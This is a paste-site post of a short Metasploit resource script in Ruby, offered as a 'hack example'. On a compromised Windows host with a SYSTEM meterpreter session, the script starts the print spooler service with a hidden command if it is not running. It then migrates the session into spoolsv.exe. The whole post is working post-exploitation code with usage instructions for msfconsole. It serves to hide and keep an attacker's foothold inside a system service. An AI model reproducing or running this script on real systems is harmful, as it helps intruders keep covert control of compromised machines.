Ruby Metasploit Hack example


SUBMITTED BY: Guest

DATE: May 22, 2015, 9:36 a.m.

FORMAT: Ruby

SIZE: 1.3 kB

HITS: 765

  1. # checks if spooler is running. If not, starts it
  2. # migrates to spooler
  3. # usage (e.g. from msfconsole)
  4. # setg SESSION 1
  5. # resource spooler_migrate
  6. <ruby>
  7. session = framework.sessions[Integer(framework.datastore['SESSION'])]
  8. if (session.type == "meterpreter")
  9. uid = session.sys.config.getuid
  10. if (uid != "NT AUTHORITY\\SYSTEM")
  11. print_error("Error, must have SYSTEM meterpreter shell")
  12. return
  13. end
  14. processes = session.sys.process.get_processes
  15. spooler_proc = nil
  16. while (spooler_proc == nil)
  17. processes.each do |proc|
  18. spooler_proc = proc['pid'] if proc['name'] == "spoolsv.exe" and proc["user"] == "NT AUTHORITY\\SYSTEM"
  19. end
  20. if (spooler_proc == nil)
  21. print_status("spooler isn't running - starting")
  22. print_status("net start spooler")
  23. m_cmd = "net start spooler"
  24. proc = session.sys.process.execute(m_cmd , nil, {'Hidden' => 'true', 'Channelized' => true})
  25. proc.wait()
  26. print_status("sleeping for 20")
  27. sleep 20
  28. end
  29. end
  30. print_status("migrating to spooler")
  31. session.core.migrate(spooler_proc)
  32. print_status("done migrating")
  33. end
  34. </ruby>

comments powered by Disqus